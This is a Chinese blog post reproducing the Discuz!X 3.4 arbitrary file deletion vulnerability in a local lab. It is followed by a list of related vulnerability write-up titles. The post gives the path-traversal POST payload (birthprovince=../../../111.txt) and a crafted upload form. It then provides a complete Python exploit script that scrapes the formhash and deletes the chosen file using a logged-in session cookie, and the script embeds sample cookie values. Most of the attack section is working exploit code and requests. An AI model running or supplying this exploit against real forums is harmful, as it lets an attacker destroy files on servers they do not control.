Discuz!X 3.4 任意文件删除漏洞复现过程(附python脚本)

  今天看下群里在讨论Discuz!X 3.4 任意文件删除漏洞,自己做了一些测试,记录一下过程。结尾附上自己编写的python脚本,自动化实现任意文件删除。

具体漏洞,请查看 https://paper.seebug.org/411/

0x01 环境搭建

  到官网下载Discuz 3.4版本,phpstudy 本机搭建,并注册账号。站点根目录新建111.txt,作为删除的目标文件。

Discuz 3.4下载链接:http://www.discuz.net/thread-3825961-1-1.html

0x02 环境搭建

  1、账号登录之后,点击设置,跳转到个人资料页面,查看页面源代码,获取formhash值

  2、提交请求,修改出生地

http://127.0.0.1/home.php?mod=spacecp&ac=profile&op=base

[post] birthprovince=../../../111.txt&profilesubmit=1&formhash=9945c60c

  3、构造表单,请求后文件删除

<form action="http://127.0.0.1/home.php?mod=spacecp&ac=profile&op=base&deletefile[birthprovi
nce]=aaaaaa" method="POST" enctype="multipart/form-data">
<input type="file" name="birthprovince" id="file" />
<input type="text" name="formhash" value="9945c60c"/></p>
<input type="text" name="profilesubmit" value="1"/></p>
<input type="submit" value="Submit" />
</from>

0X03 Python脚本

根据前面的步骤,写了一段Python脚本,代替手工操作,本机测试成功。。。好久没写脚本了,代码有点low,够用即可。。。

#!/usr/bin/env python
# -*- coding: utf-8 -*-
import requests
import re
import urllib2

‘‘‘
Discuz!X ≤3.4 任意文件删除漏洞
Write by Aaron
‘‘‘

def get_cookie():
    cookies={}
    for line in raw_cookies.split(‘;‘):
        key,value=line.split(‘=‘,1)
        cookies[key]=value
    return cookies
def get_formhash(url):
    cookies=get_cookie()
    testurl=url+"/home.php?mod=spacecp"
    s=requests.get(testurl,cookies=cookies)
    com = re.compile(‘<input type="hidden" name="formhash" value="(.*?)" />‘)
    result = com.findall(s.text)
    return result[0]
def del_step1(url,filename):
    headers={‘User-Agent‘:‘Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0‘}
    geturl=url+"/home.php?mod=spacecp&ac=profile&op=base"
    formhash=get_formhash(url)
    payload ={‘birthprovince‘:filename,"profilesubmit":1,"formhash":formhash}
    cookies=get_cookie()
    r = requests.post(geturl,data=payload,headers=headers,cookies=cookies)
    if r.content.find(‘parent.show_success‘)>0:
        print ‘Step1 success!!!‘
def del_step2(url):
    geturl=url+"/home.php?mod=spacecp&ac=profile&op=base&deletefile[birthprovince]=aaaaaa"
    heads={‘User-Agent‘:‘Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0‘}
    formhash=get_formhash(url)
    files ={‘formhash‘:(None,formhash),‘birthprovince‘:(‘1.jpg‘,open(‘1.jpg‘,‘rb‘),‘image/jpeg‘),‘profilesubmit‘:(None,‘1‘)}
    cookies=get_cookie()
    r=requests.post(geturl,files=files,headers=heads,cookies=cookies)
    if r.text.find(‘parent.show_success‘)>0:
        print ‘Step2 success!!!‘

if __name__ == ‘__main__‘:
    #需要修改以下三个参数:
    #1、设置cookie
    raw_cookies="G2pl_2132_sid=sKKQZK; G2pl_2132_saltkey=Sz3Zk9qK; G2pl_2132_lastvisit=1506772875; G2pl_2132_lastact=1506779386%09home.php%09spacecp; G2pl_2132_seccode=7.aa0407e77fa5c31c1b; G2pl_2132__refer=%252Fhome.php%253Fmod%253Dspacecp%2526ac%253Dprofile%2526op%253Dbase; G2pl_2132_ulastactivity=d085JjIjS5HiG3obxleJQuw0zNYpIN60OXJV0J6di%2B8aFmKQ4u6l; G2pl_2132_auth=86c5F09hGuaZuGNPSX7Pr7Oy4Mq2B39nSviv%2FRFC8vdn1Zjb9PibvU2fN4jJr9Hr7yVNf2vH9rIXrSLWhMZk; G2pl_2132_nofavfid=1; G2pl_2132_sendmail=1; G2pl_2132_noticeTitle=1"
    #2、设置删除的文件
    filename="../../../111.txt"
    #3、设置url
    url="http://127.0.0.1"
    del_step1(url,filename)
    del_step2(url)
时间: 2024-10-16 10:50:14

Discuz!X 3.4 任意文件删除漏洞复现过程(附python脚本)的相关文章

Discuz!X 3.4 前台任意文件删除漏洞复现

Discuz!X 3.4 前台任意文件删除漏洞复现 参考链接: http://www.freebuf.com/vuls/149904.html http://www.freebuf.com/articles/system/149810.html http://mp.weixin.qq.com/s?srcid=0930uM1OtfeAsXwHRrfZBIyo&scene=23&mid=2650942631&sn=12a3c55807768f12fcd1b306fdf775d8&

Discuz!X前台任意文件删除漏洞重现

漏洞背景:Discuz!X社区软件,是一个采用 PHP 和 MySQL 等其他多种数据库构建的性能优异.功能全面.安全稳定的社区论坛平台. 2017年9月29日,Discuz!修复了一个安全问题用于加强安全性,这个漏洞会导致前台用户可以导致任意删除文件漏洞. 2017年9月29日,知道创宇404 实验室开始应急,经过知道创宇404实验室分析确认,该漏洞于2014年6月被提交到 Wooyun漏洞平台,Seebug漏洞平台收录了该漏洞,漏洞编号 ssvid-93588.该漏洞通过配置属性值,导致任意

【代码审计】CLTPHP_v5.5.3后台任意文件删除漏洞分析

  0x00 环境准备 CLTPHP官网:http://www.cltphp.com 网站源码版本:CLTPHP内容管理系统5.5.3版本 程序源码下载:https://gitee.com/chichu/cltphp 默认后台地址: http://127.0.0.1/admin/login/index.html 默认账号密码: 后台登录名:admin  密码:admin123 测试网站首页: 0x01 代码分析 1./app/admin/controller/Database.php  第221

monxin cms 任意文件删除漏洞

\program\diypage\receive\edit.php首先看到一个unlink($path);本来应该先看sql语句的,但知道是任意文件删除先跳过删除语句,看看$path怎么传入的倒推上去 1.$path=$v;2.foreach($old_imgs as $v)3.$old_imgs=get_match_all($reg,$r['content']); get_match_all是一个自定义函数function get_match_all($reg,$str){    preg_m

[代码审计]phpshe开源商城后台两处任意文件删除至getshell

0x00 背景 这套系统审了很久了,前台审不出个所以然来.前台的限制做的很死. 入库的数据都是经过mysql_real_escape_string,htmlspecialchars的处理. 二次注入没找到,逻辑漏洞也没找到.抛开实际利用来说,简单讲讲两个任意文件删除漏洞,在拿到后台之后的getshell方法. 0x01 phpshe程序简介 phpshe是一个开源商城程序,程序在前台入库的地方都用了pe_dbhold函数(mysql_real_escape_string,htmlspecialc

任意文件删除的一个总结

这两天看了两三个任意文件删除的洞.说实话任意文件删除还算是比较好分析的一个漏洞. 漏洞的成因主要就是删除的目录路径是我们可控的,且并没有对这个路径进行任何的限制. php常见的删除命令比如rmdir和unlink这种,如果后面跟的是一个可控的变量就很容易导致这个漏洞. 像我看以前phpcms爆出的一个任意文件删除,这个洞简直随意到让人觉得不是phpcms public function pullic_delthumbs() { $filepath = urldecode($_GET['filep

致远A8任意文件写入漏洞_getshell_exp

近期爆出致远 OA 系统的一些版本存在任意文件写入漏洞,远程攻击者在无需登录的情况下可通过向 URL /seeyon/htmlofficeservlet POST 精心构造的数据即可向目标服务器写入任意文件,写入成功后可执行任意系统命令进而控制目标服务器. 目前已知易受攻击的版本: 致远A8-V5协同管理软件 V6.1sp1 致远A8+协同管理软件 V7.0.V7.0sp1.V7.0sp2.V7.0sp3 致远A8+协同管理软件 V7.1 如果成功利用此漏洞的攻击者可以在目标系统上写入任意文件,

phpmyadmin任意文件包含漏洞分析(含演示)

0x01 漏洞描述 phpmyadmin是一款应用非常广泛的mysql数据库管理软件,基于PHP开发. 最新的CVE-2014-8959公告中,提到该程序多个版本存在任意文件包含漏洞,影响版本如下: phpMyAdmin 4.0.1 – 4.0.10.6 4.1.1 – 4.1.14.7 4.2.1 – 4.2.12 0x02 补丁分析 看到bobao.360.cn上提到了这个漏洞,于是我写个小分析吧,给渗透正没思路的人一个思路,也给学习代码审计的朋友一点资料. 前几天phpmyadmin出了个

Gxlcms时间盲注+后台任意文件删除读取下载+getshell

前台SQL时间盲注 在前台作品评分处 Lib\Home\Action/CommAction.class.php 第56行 $ting_id = $_GET["id"]; 第133行 $ting_gold = $mod->where("ting_id='$ting_id'")->getField("ting_gold"); 导致了可以时间盲注 因为回显不明确 后台GetShell 后台附件设置处 fuzz过程 输入php  被过滤成空